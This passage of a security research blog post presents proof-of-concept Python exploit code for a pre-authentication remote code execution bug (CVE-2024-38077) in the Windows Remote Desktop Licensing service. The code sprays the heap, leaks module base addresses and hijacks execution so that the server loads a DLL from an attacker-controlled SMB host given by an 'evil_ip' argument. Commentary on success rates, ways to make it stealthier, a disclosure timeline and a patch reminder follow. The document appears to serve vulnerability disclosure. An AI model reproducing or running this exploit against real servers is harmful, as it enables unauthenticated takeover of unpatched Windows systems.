    print("[*] Hijack rip and rcx")
    print("[*] rip: kernelbase!LoadLibraryA")
    print("[*] rcx: {0}".format(arg1))
    while True:
        spray_fake_obj(reg_lic_keypack)
        spray_lfh_chunk(0x20, 0x800)
        spray_handles(0xc00)
        handles_free()
        tls_register_LKP = construct_overflow_fake_obj_buf(fake_obj_addr)
        try:
            dce.request(tls_register_LKP)
        except:
            pass
        print("[*] Try to connect to server...")
```

```
        for handle in handle_lists[::-1]:
            rpc_key_pack_enum_next = construct_TLSRpcKeyPackEnumNext(handle)
            try:
                dce.request(rpc_key_pack_enum_next)
            except:
                pass
        print("[*] Check whether the exploit successed? (Y/N)\t")
        status = input("[*] ")
        if status == "Y" or status == "y":
            print("[+] Exploit success!")
            exit(0)
def connect_to_license_server(target_ip):
    global dce, rpctransport, ctx_handle
    stringbinding = epm.hept_map(target_ip, UUID, protocol="ncacn_ip_tcp")
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    rpctransport.set_connect_timeout(100)
    dce = rpctransport.get_dce_rpc()
    dce.set_auth_level(2)
    dce.connect()
    dce.bind(UUID)
    rpc_conn = TLSRpcConnect()
    res_rpc_conn = dce.request(rpc_conn)
    ctx_handle = res_rpc_conn["ctx_handle"]
    get_version = TLSRpcGetVersion()
    get_version["ctx_handle"] = ctx_handle
    get_version["version"] = 3
    res_get_version = dce.request(get_version)
    version = res_get_version["version"]
    print("[+] Get Server version: 0x{:x}".format(version))
    CHAL_DATA = b"a" * 0x10
```

```
    RESV_DATA = b"b" * 0x10
    cli_chal = TLSCHALLENGEDATA()
    cli_chal["dwVersion"] = 0x10000
    cli_chal["dwRandom"] = 0x4
    cli_chal["cbChallengeData"] = len(CHAL_DATA) + 1
    cli_chal["pbChallengeData"] = CHAL_DATA + b"\x00"
    cli_chal["cbReservedData"] = len(RESV_DATA) + 1
    cli_chal["pbReservedData"] = RESV_DATA + b"\x00"
    chal_server = TLSRpcChallengeServer()
    chal_server["phContext"] = ctx_handle
    chal_server["dwClientType"] = 0
    chal_server["pClientChallenge"] = cli_chal
    chal_server["pdwErrCode"] = 0
    chal_response = dce.request(chal_server)
    g_pszServerGuid = "d63a773e-6799-11d2-96ae-00c04fa3080d".encode("utf-16")[2:]
    dwRandom = chal_response["pServerChallenge"]["dwRandom"]
    pbChallengeData = b"".join(chal_response["pServerChallenge"]["pbChallengeData"])
    pbResponseData = hashlib.md5(pbChallengeData[:dwRandom] + g_pszServerGuid + pbChallengeData[dwRandom:]).digest()
    pClientResponse = TLSCHALLENGERESPONSEDATA()
    pClientResponse["dwVersion"] = 0x10000
    pClientResponse["cbResponseData"] = len(pbResponseData)
    pClientResponse["pbResponseData"] = pbResponseData
    pClientResponse["cbReservedData"] = 0
    pClientResponse["pbReservedData"] = ""
    resp_ser_chal = TLSRpcResponseServerChallenge()
    resp_ser_chal["phContext"] = ctx_handle
    resp_ser_chal["pClientResponse"] = pClientResponse
    resp_ser_chal["pdwErrCode"] = 0
    res_resp_ser_chal = dce.request(resp_ser_chal)
def leak_addr():
```

```
    global heap_base, ntdll_base, peb_base, pe_base, rpcrt4_base, kernelbase_base
    heap_offset_list = [0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000]
    heap_base = arb_read(heap_offset_list, leakHeapBaseOffset = 0x188)
    print("[+] Leak heap_base: 0x{:x}".format(heap_base))
    ntdll_base = arb_read(heap_base + 0x102048, padding = True) - 0x1bd2a8
    print("[+] Leak ntdll_base: 0x{:x}".format(ntdll_base))
    tls_bit_map_addr = ntdll_base + 0x1bd268
    print("[+] Leak tls_bit_map_addr: 0x{:x}".format(tls_bit_map_addr))
    peb_base = arb_read(tls_bit_map_addr, padding = True) - 0x80
    print("[+] Leak peb_base: 0x{:x}".format(peb_base))
    pe_base = arb_read(peb_base + 0x12, padding = True, passZero = True) << 16
    print("[+] Leak pe_base: 0x{:x}".format(pe_base))
    pe_import_table_addr = pe_base + 0x10000
    print("[+] Leak pe_import_table_addr: 0x{:x}".format(pe_import_table_addr))
    rpcrt4_base = arb_read(pe_import_table_addr, padding = True) - 0xa4d70
    print("[+] Leak rpcrt4_base: 0x{:x}".format(rpcrt4_base))
    rpcrt4_import_table_addr = rpcrt4_base + 0xe7bf0
    print("[+] Leak rpcrt4_import_table_addr: 0x{:x}".format(rpcrt4_import_table_addr))
    kernelbase_base = arb_read(rpcrt4_import_table_addr, padding = True) - 0x10aec0
    print("[+] Leak kernelbase_base: 0x{:x}".format(kernelbase_base))
def check_vuln(target_ip):
    print("[-] Not implemented yet.")
    return True
def pwn(target_ip, evil_ip, evil_dll_path, check_vuln_exist):
    global dce, rpctransport, handle_lists, leak_idx, heap_base, rpcrt4_base, kernelbase_base, pe_base, peb_base
    arg1 = "\\\\{0}{1}".format(evil_ip, evil_dll_path)
    print("-" * 0x50)
    print(DESCRIPTION)
    print("\ttarget_ip: {0}\n\tevil_ip: {1}\n\tevil_dll_path: {2}\n\tcheck_vuln_exist: {3}".format(target_ip, evil_ip, arg1, check_vuln_exist))
    if check_vuln_exist:
```

```
        if not check_vuln(target_ip):
            print("[-] Failed to check for vulnerability.")
            exit(0)
        else:
            print("[+] Target exists vulnerability, try exploit...")
    for i in range(TRY_TIMES):
        print("-" * 0x50)
        print("[*] Run exploit script for {0} / {1} times".format(i + 1, TRY_TIMES))
        try:
            connect_to_license_server(target_ip)
            leak_addr()
            hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1)
            dce.disconnect()
            rpctransport.disconnect()
        except (ConnectionResetError, DCERPCException) as e:
            if i == TRY_TIMES - 1:
                print("[-] Crashed {0} times, run exploit script failed!".format(TRY_TIMES))
            else:
                print("[-] Crashed, waiting for the service to restart, need {0} seconds...".format(SLEEP_TIME))
                sleep(SLEEP_TIME)
            handle_lists = []
            leak_idx = 0
            pass
if __name__ == '__main__':
    parse = argparse.ArgumentParser(description = DESCRIPTION)
    parse.add_argument("--target_ip", type=str, required=True, help="Target IP, eg: 192.168.120.1")
    parse.add_argument("--evil_ip", type=str, required=True, help="Evil IP, eg: 192.168.120.2")
    parse.add_argument("--evil_dll_path", type=str, required=False, default="\\smb\\evil_dll.dll", help="Evil dll path, eg: \\smb\\evil_dll.dll")
    parse.add_argument("--check_vuln_exist", type=bool, required=False, default=False, help="Check vulnerability exist before exploit")
    args = parse.parse_args()
```

```
    pwn(args.target_ip, args.evil_ip, args.evil_dll_path, args.check_vuln_exist)
```

Disscuss of the POC

The POC of the Exploitation has more than 95% success rate on Windows Server 2025. Considering the service will reboot after the crash and you don't need to leak the module base address twice, the final success rate can be even higher (close to 100%).

This POC will finish within 2 miniutes on Windows Server 2025. But our heap grooming technique here is an unoptimized version of playing with the new LFH mitigation introduced in Windows Server 2025. We are lazy and actually didn't fully reverse the segment heap meachism in Windows Server 2025, so our heap grooming is just a heuristic solution. It is not elegant at all. Of course, you must can optimize it to make the exploit run much faster on Windows Server 2025.

For Windows Server 2000 to Windows Server 2022, exploiting this bug will be much faster, as there is less mitigation. For simplicity, the POC will load a remote DLL. But you can make it run arbitrary shellcode in the RDL process. This will make it more stealthy.

Exploit this vulnerability in version before Windows Server 2025 should be easier and more efficient, but of course, you need to adjust the code and offset. Exploit can be builded on Windows Server 2000 to Windows Server 2025. Here we only demonstrate in 2025, because Windows Server 2025 is the latest and the most secure Windows Server. And it's still in preview, so the POC will make no harm to the world. If you want to avoid the offset issues to make the exploit more universal, dynamic search is possible, but you need to replace it with a more efficient memory read primitive to make exploit efficient.

Here we made a responsible disclosures. To further prevent this POC to be abused, POC published here is just pseudocode and an unoptimized version, the some critical part of it is hidden. But information in the pseudocode will be enough for researchers to detect and block exploitation.

Demo

MadLicense： Exploiting a 0-Click Preauth RCE for Windows Server 2000 to 2025

Timeline

May 01, 2024	Report this case to Microsoft
July 01, 2024	Telling Microsoft this case is exploitable
July 09, 2024	Fixed as CVE-2024-38077 (Mark as exploitation less likely by Microsoft)
August 02, 2024	Send this article to Microsoft
August 09, 2024	No respones to this article from Microsoft
August 09, 2024	Article published

Discuss

In this article, we demonstrate how a single vulnerability was exploited to bypass all mitigations and achieve a pre-authentication remote code execution (RCE) attack on Windows Server 2025, Which is considered the most secure Windows Server. It may seem fantastical in 2024, but it is a fact. Despite Microsoft's various fortifications to Windows for decades and we didn't see preauth 0-click RCE in Windows for years, we still can exploit a single memory corruption vulnerability to complete the entire attack. Looks like the system with "next-generation security improvements" fails to prevent the same old memory exploitation from 30 years ago this time.

The purpose of this article is to remind users to update their systems as soon as possible to fix vulnerabilities. There actually have more exploitation in this component, remember we have reported 56 cases (although it is annoying that Microsoft SRC merged many of our cases). For researchers who are interested, you can try to figure them out.

This is the first blog of this series. For more bugs, more exploits, pain and gain working with Microsoft SRC etc. We may discuss in our future blog posts of this series.

Opinions in the blog post are our own and do not reflect the views of our employers.

Acknowledgement

Ver (https://twitter.com/Ver0759) & Lewis Lee (https://twitter.com/LewisLee53) & Zhiniang Peng (https://twitter.com/edwardzpeng)